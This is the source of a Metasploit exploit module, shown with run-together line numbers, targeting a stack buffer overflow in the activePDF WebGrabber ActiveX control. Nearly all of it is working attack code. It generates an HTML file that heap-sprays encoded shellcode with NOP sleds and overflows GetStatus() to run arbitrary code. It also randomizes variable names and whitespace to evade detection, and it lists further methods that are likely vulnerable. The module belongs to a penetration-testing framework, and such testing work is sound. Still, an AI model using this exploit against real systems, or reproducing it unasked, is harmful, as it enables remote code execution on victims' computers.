Path: blob/master/modules/exploits/windows/fileformat/activepdf_webgrabber.rb
23590 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = LowRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'activePDF WebGrabber ActiveX Control Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When17sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)18an attacker may be able to execute arbitrary code. This control is not marked safe19for scripting, so choose your attack vector accordingly.20},21'License' => MSF_LICENSE,22'Author' => [ 'MC' ],23'References' => [24[ 'CVE', '2008-20001' ],25[ 'OSVDB', '64579'],26[ 'URL', 'http://www.activepdf.com/products/serverproducts/webgrabber/' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30'DisablePayloadHandler' => true31},32'Payload' => {33'Space' => 1024,34'BadChars' => "\x00",35},36'Platform' => 'win',37'Targets' => [38[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]39],40'DisclosureDate' => '2008-08-26',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),53]54)55end5657def exploit58# Encode the shellcode.59shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6061# Create some nops.62nops = Rex::Text.to_unescape(make_nops(4))6364# Set the return.65ret = Rex::Text.uri_encode([target.ret].pack('L'))6667# Randomize the javascript variable names.68vname = rand_text_alpha(rand(100) + 1)69var_i = rand_text_alpha(rand(30) + 2)70rand1 = rand_text_alpha(rand(100) + 1)71rand2 = rand_text_alpha(rand(100) + 1)72rand3 = rand_text_alpha(rand(100) + 1)73rand4 = rand_text_alpha(rand(100) + 1)74rand5 = rand_text_alpha(rand(100) + 1)75rand6 = rand_text_alpha(rand(100) + 1)76rand7 = rand_text_alpha(rand(100) + 1)77rand8 = rand_text_alpha(rand(100) + 1)7879content = %Q|<html>80<head>81<script>82try {83var #{vname} = new ActiveXObject('APWebGrabber.Object');84var #{rand1} = unescape('#{shellcode}');85var #{rand2} = unescape('#{nops}');86var #{rand3} = 20;87var #{rand4} = #{rand3} + #{rand1}.length;88while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};89var #{rand5} = #{rand2}.substring(0,#{rand4});90var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});91while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};92var #{rand7} = new Array();93for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }94var #{rand8} = "";95for (#{var_i} = 0; #{var_i} < 800; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }96#{vname}.GetStatus(#{rand8},1);97} catch( e ) { window.location = 'about:blank' ; }98</script>99</head>100</html>101|102103content = Rex::Text.randomize_space(content)104105print_status("Creating '#{datastore['FILENAME']}' file ...")106107file_create(content)108end109end110111=begin112113Other methods that are vulnerable.114115[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]116void CleanUp(BSTR ServerIPAddress, long ServerPort);117118[id(0x00000055)]119BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR AcceptedCommands);120121...and probably more.122=end123124125